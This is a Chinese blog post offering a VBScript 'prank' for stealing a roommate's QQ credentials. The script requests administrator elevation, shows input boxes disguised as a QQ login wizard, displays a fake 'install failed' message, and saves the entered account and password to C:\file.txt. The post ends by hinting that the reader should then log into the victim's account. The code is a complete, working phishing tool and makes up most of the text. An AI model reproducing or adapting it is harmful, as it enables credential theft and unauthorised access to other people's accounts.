教你们用vbs恶搞你的室友！（盗QQ密码）

最新推荐文章于 2024-09-17 14:46:24 发布

原创最新推荐文章于 2024-09-17 14:46:24 发布 · 1.1k 阅读

5 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

文章描述了一个恶意程序，它伪装成QQ登录向导，获取用户输入的账号和密码后，在C盘创建一个file.txt文件存储信息。作者还提供了详细的代码片段展示其工作原理。

这个程序伪装成了QQ的登录向导，输入账号和密码，他会在C盘里创建一个名为file.txt的文件，第一行是账号，第三行是密码，话不多说，直接上代码！

Set WShell = WScript.CreateObject("WScript.Shell")
set fso =CreateObject("Scripting.FileSystemObject")
tFile = "C:\Windows\System32\drivers\etc\test.txt"
WShell.run("%comspec% /c echo 123> " & tFile), 0, True
if not fso.FileExists(tFile) then
    CreateObject("Shell.Application").ShellExecute WScript.FullName, Chr(34) & WScript.ScriptFullName & Chr(34), "", "runas", 1
    WScript.Quit
else
    fso.DeleteFile(tFile)
End if
dim a
dim b
a = inputbox("请输入账号","QQ登录向导")
b = inputbox("请输入密码","QQ登录向导")
Dim myVariable, objFSO, objFile

' 设置变量值
myVariable=a
myVariableb=b

' 创建文件系统对象
Set objFSO = CreateObject("Scripting.FileSystemObject")

' 检查文件是否已存在，如果存在则删除
If objFSO.FileExists("C:\file.txt") Then
    objFSO.DeleteFile "C:\file.txt"
End If
msgbox("安装失败！请重新运行此setup！")

' 创建新的文本文件
Set objFile = objFSO.CreateTextFile("C:\file.txt")

' 写入变量内容到文本文件
objFile.WriteLine myVariable
objFile.WriteLine " "
objFile.WriteLine myVariableb
' 关闭文件
objFile.Close

' 释放对象
Set objFile = Nothing
Set objFSO = Nothing

然后登陆他的号，接着你懂得........

标签

#开发语言